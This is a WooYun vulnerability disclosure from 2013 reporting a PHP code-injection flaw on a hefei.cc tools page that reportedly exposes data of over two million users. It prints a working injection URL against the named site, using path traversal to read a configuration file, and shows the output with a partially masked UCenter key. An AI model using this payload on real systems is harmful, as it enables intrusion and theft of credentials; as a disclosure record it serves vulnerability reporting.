WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-045577

漏洞标题：合肥热线_小漏洞大隐患导致百万万用户数据泄漏

相关厂商：hefei.cc

漏洞作者： 范范范大叔

提交时间：2013-12-16 17:34

修复时间：2014-01-30 17:34

公开时间：2014-01-30 17:34

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2013-12-16： 细节已通知厂商并且等待厂商处理中
2013-12-16： 厂商已经确认，细节仅向厂商公开
2013-12-26： 细节向核心白帽子及相关领域专家公开
2014-01-05： 细节向普通白帽子公开
2014-01-15： 细节向实习白帽子公开
2014-01-30： 细节向公众公开

简要描述：

当一个网站日渐壮大，功能逐渐变多时，会给我们的使用者带来便利，但安全问题也随之而来。在我们给一些重要的系统添砖加瓦、
不断提升安全性与加固的同时，我们能否想起那些不起眼的页面，不太重要的系统所带来的安全隐患？
小漏洞大隐患，一个不起眼的页面引发的漏洞可能导致网站200多万用户数据的泄漏。

详细说明：

51CTO技术网站存在php代码注入可webshell

http://wooyun.org/bugs/wooyun-2013-040647

http://life.hefei.cc/tools/youbian/index.php?q=${@exit(print_r(file($_GET[d])))}&d=../../../d.hefei.cc/config.inc.php

[49] => //----------------通信相关 
[50] => // 当前应用的 ID 
[51] => define('UC_APPID', '10'); 
[52] => // 与 UCenter 的通信密钥, 要与 UCenter 保持一致 
[53] => define('UC_KEY', 'ioadh**************r123uyybpdaj'); 
[54] => // UCenter 的 URL 地址, 在调用头像时依赖此常量 
[55] => define('UC_API', 'http://bbs.hefei.cc/uc'); 
[56] => // UCenter 的字符集 
[57] => 
[58] => define('UC_CHARSET', 'gbk'); 
[59] => // UCenter 的 IP, 当 UC_CONNECT 为非 mysql 方式时, 并且当前应用服务器解析域名有问题时, 请设置此值 
[60] => define('UC_IP', ''); 
[61] => 
[62] => //短信接口

漏洞证明：

修复方案：

版权声明：转载请注明来源 范范范大叔@乌云

漏洞回应

漏洞评价：

评论